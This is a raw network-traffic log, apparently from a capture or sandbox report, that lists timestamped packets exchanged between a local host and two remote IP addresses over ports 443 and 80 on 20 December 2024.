Dec 20, 2024 16:06:35.382142067 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.389611959 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.399868965 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.399945974 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.399956942 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.406279087 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.406402111 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.406416893 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.414463043 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.414581060 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.414597034 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.420914888 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.420977116 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.421042919 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.421053886 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.421341896 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.427530050 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.438401937 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.438513041 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.438525915 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.449023962 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.449158907 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.449158907 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.449182987 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.449253082 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.459762096 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.470539093 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.470858097 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.470885038 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.480698109 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.480771065 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.480786085 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.490075111 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.490384102 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.490401030 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.499643087 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.499768972 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.499780893 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.508960009 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.509067059 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.509083033 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.517482996 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.517569065 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.517601967 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.517612934 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.517709970 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.526180029 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.534630060 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.534697056 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.534712076 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.542716980 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.542747974 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.542860031 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.542871952 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.543060064 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.550932884 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.559372902 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.559473991 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.559535027 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.559551954 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.559623957 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.564724922 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.569988966 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.570103884 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.570858955 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.570878983 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.571333885 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.574944019 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.584522963 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.584604979 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.584621906 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.588843107 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.588934898 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.588967085 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.589004040 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.589020014 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.589178085 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.591438055 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.591471910 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.591526031 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.591536045 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.591681957 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.597419024 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.600655079 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.600727081 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.600743055 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.601443052 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.601548910 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.601665974 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.601691961 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:37.060983896 CET	80	49721	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:37.061084986 CET	49721	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:37.191651106 CET	49721	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:37.257652044 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:37.311232090 CET	80	49721	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:38.131174088 CET	80	49721	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:38.131337881 CET	49721	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:43.136933088 CET	80	49721	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:43.137098074 CET	49721	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:49.795341969 CET	49721	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:49.795519114 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:49.915211916 CET	80	49721	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:49.915230989 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:49.915332079 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:49.915582895 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:50.035437107 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:51.749875069 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:51.750663042 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.198093891 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.318051100 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643100977 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643142939 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643157005 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643289089 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643301964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643304110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.643323898 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643337965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643364906 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.643364906 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.643425941 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.643572092 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643584967 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.643660069 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.646251917 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.646480083 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.646626949 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.763075113 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.767261982 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.835467100 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.835541010 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.835566998 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.835602999 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.839086056 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.839188099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.839332104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.846967936 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.847040892 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.848139048 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.848292112 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.854686975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.855439901 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.855561018 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.862689018 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.862804890 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.863290071 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.870592117 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.870651960 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.870824099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.871005058 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.878382921 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.878485918 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.878563881 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.878818989 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.886248112 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.886452913 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.886594057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.894098997 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.894246101 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.894253969 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.894361973 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.901827097 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.901962042 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.902007103 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.902163982 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.909701109 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.909837961 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.909842968 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.909934044 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:52.917399883 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:52.920890093 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.029109955 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.029289961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.029299021 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.029381037 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.032984972 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.033088923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.033119917 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.033235073 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.040858984 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.040944099 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.041019917 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.041177988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.048801899 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.048979998 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.049938917 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.050071001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.053406954 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.053561926 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.053602934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.053704977 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.058041096 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.058135033 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.058224916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.058648109 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.062721014 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.062935114 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.062969923 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.063086033 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.067397118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.067467928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.067508936 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.067595005 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.072040081 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.072182894 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.074316025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.074419022 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.077239037 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.077254057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.077334881 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.081820965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.081922054 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.081969976 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.082020044 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.086016893 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.086121082 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.086806059 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.086874962 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.090651989 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.090806961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.090831041 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.090917110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.095531940 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.095629930 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.095652103 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.095704079 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.100115061 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.100142002 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.100218058 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.104718924 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.104842901 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.104908943 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.104995012 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.109584093 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.109734058 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.109786034 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.109786034 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.114105940 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.114274025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.114305019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.114586115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.118709087 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.118835926 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.118913889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.118913889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.123395920 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.123616934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.123672962 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.123672962 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.128134966 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.128318071 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.128379107 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.128379107 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.148952961 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.149204016 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.149211884 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.149316072 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.222111940 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.222265959 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.222278118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.222373962 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.224085093 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.224179983 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.224261045 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.224482059 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.227648973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.227731943 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.227832079 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.227886915 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.231600046 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.231676102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.231715918 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.231779099 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.235852003 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.236033916 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.236095905 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.236248016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.240139961 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.240273952 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.240295887 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.240360975 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.244002104 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.244193077 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.244215012 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.244359016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.247914076 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.248207092 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.248248100 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.248600006 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.251507044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.251636982 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.251677036 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.251745939 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.255229950 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.255394936 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.255440950 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.255440950 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.258860111 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.258935928 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.258985043 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.259052038 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.262437105 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.262499094 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.262623072 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.262624025 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.266074896 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.266141891 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.266184092 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.266246080 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.269319057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.269418001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.269551992 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.269646883 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.272850037 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.272938013 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.273004055 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.273004055 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.276318073 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.276465893 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.276578903 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.276705980 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.278270960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.278548956 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.278733969 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.278788090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.280450106 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.280563116 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.280595064 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.280725956 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.282211065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.282289982 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.282458067 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.282519102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.284132004 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.284243107 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.284250975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.284312010 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.286150932 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.286225080 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.286366940 CET	80	49769	185.215.113.206	192.168.2.5
